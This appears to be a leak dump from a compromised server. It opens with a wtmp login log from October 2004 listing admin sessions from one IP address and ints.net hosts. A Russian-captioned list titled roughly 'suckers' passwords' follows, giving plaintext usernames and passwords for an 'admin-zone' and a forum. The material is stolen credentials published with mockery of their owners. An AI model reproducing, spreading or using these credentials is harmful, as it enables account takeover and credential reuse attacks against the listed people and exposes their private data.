admin            ttyp0    82.131.4.167     Sat Oct  9 21:57 - 02:10  (04:13)
admin            ttyp0    82.131.4.167     Sat Oct  9 19:49 - 21:14  (01:24)
admin            ttyp0    82.131.4.167     Sat Oct  9 19:05 - 19:42  (00:36)
admin            ttyp4    82.131.4.167     Sat Oct  9 17:06 - 18:29  (01:22)
admin            ttyp4    82.131.4.167     Sat Oct  9 16:12 - 17:05  (00:53)
admin            ttyp0    82.131.4.167     Sat Oct  9 16:08 - 17:17  (01:08)
admin            ttyp0    82.131.4.167     Sat Oct  9 13:58 - 15:44  (01:45)
admin            ttyp0    82.131.4.167     Sat Oct  9 13:56 - 13:57  (00:01)
admin            ttyp0    82.131.4.167     Sat Oct  9 11:04 - 13:42  (02:38)
admin            ttyp4    82.131.4.167     Fri Oct  8 23:56 - 02:15  (02:19)
admin            ttyp0    82.131.4.167     Fri Oct  8 21:37 - 23:58  (02:21)
admin            ttyp0    82.131.4.167     Fri Oct  8 15:26 - 21:10  (05:43)
admin            ttyp0    82.131.4.167     Fri Oct  8 13:56 - 15:20  (01:24)
admin            ttyp4    mahaon.ints.net  Fri Oct  8 10:48 - 19:02  (08:14)
admin            ttyp0    82.131.4.167     Fri Oct  8 07:56 - 11:53  (03:57)
admin            ttyp0    82.131.4.167     Fri Oct  8 07:52 - 07:55  (00:02)
gdp              ttyp1    leda.ints.net    Thu Oct  7 18:14 - shutdown (4+16:35)
reboot           ~                         Thu Oct  7 18:14
admin            ttyp0    82.131.4.167     Thu Oct  7 18:14 - crash  (00:00)
shutdown         ~                         Thu Oct  7 18:08
admin            ttyp1    82.131.4.167     Thu Oct  7 17:46 - shutdown  (00:22)
admin            ttypa    82.131.4.167     Thu Oct  7 17:40 - 17:46  (00:06)
admin            ttyp8    mahaon.ints.net  Thu Oct  7 09:49 - shutdown  (08:19)
admin            ttyp1    82.131.4.167     Thu Oct  7 08:09 - 17:43  (09:34)
admin            ttyp1    82.131.4.167     Wed Oct  6 22:30 - 00:33  (02:02)
admin            ttyp0    82.131.4.167     Wed Oct  6 19:18 - 22:33  (03:15)
admin            ttyp3    mahaon.ints.net  Wed Oct  6 09:22 - 00:00  (14:38)
admin            ttyp1    82.131.4.167     Wed Oct  6 09:03 - 20:37  (11:33)
admin            ttyp3    82.131.4.167     Tue Oct  5 22:57 - 00:30  (01:32)
admin            ttyp1    82.131.4.167     Tue Oct  5 22:54 - 23:03  (00:09)
admin            ttyp1    82.131.4.167     Tue Oct  5 20:18 - 22:46  (02:27)
admin            ttyp1    82.131.4.167     Tue Oct  5 18:53 - 19:51  (00:58)
admin            ttyp3    82.131.4.167     Tue Oct  5 09:45 - 18:42  (08:56)
admin            ttyp1    mahaon.ints.net  Tue Oct  5 09:45 - 18:10  (08:25)
admin            ttyp4    82.131.4.167     Mon Oct  4 20:24 - 23:26  (03:01)
admin            ttyp1    82.131.4.167     Mon Oct  4 11:14 - 00:57  (13:43)
admin            ttyp3    mahaon.ints.net  Mon Oct  4 09:29 - 09:21  (23:52)
admin            ttyp1    82.131.4.167     Mon Oct  4 09:23 - 10:51  (01:28)
admin            ttyp4    82.131.4.167     Sun Oct  3 21:21 - 01:30  (04:08)
admin            ttyp3    82.131.4.167     Sun Oct  3 21:04 - 00:17  (03:12)
admin            ttyp3    82.131.4.167     Sun Oct  3 15:36 - 20:37  (05:01)
admin            ttyp3    82.131.4.167     Sun Oct  3 13:48 - 15:31  (01:43)
admin            ttyp4    82.131.4.167     Sat Oct  2 18:18 - 21:28  (03:10)
admin            ttyp3    82.131.4.167     Sat Oct  2 16:53 - 03:06  (10:13)
admin            ttyp4    mahaon.ints.net  Sat Oct  2 13:03 - 17:58  (04:55)
admin            ttyp3    82.131.4.167     Sat Oct  2 09:53 - 16:38  (06:44)
admin            ttyp0    mahaon.ints.net  Fri Oct  1 10:11 - 18:18  (08:07)
admin            ttyp1    82.131.4.167     Fri Oct  1 08:27 - 03:15  (18:47)

wtmp begins Fri Oct  1 08:27:09 EEST 2004

 Пароли лохов:

 (admin-zone)

  Squee:{LET#me$in#NOW}
  eyes:vfvf19Fq
  Shift:fsd&||02==[am%63h]
  m0zg:s<u!n%26l#i0g>h_t
  m0rg:!D2cb8f5da&>
  DreAmeRz:XzzERTYOPX

 (forum)

  m0rg:creozot
  372-06:31337doomer
  Shift:d3jhg%klD
  eyes:pupkin-zade
  bags:cool4913
  dodbob:qwepoizxc
  Denied_Group:BLYA
  m0zg:sunlight
  DreAmeRz:cat
  pzh32:ps15v33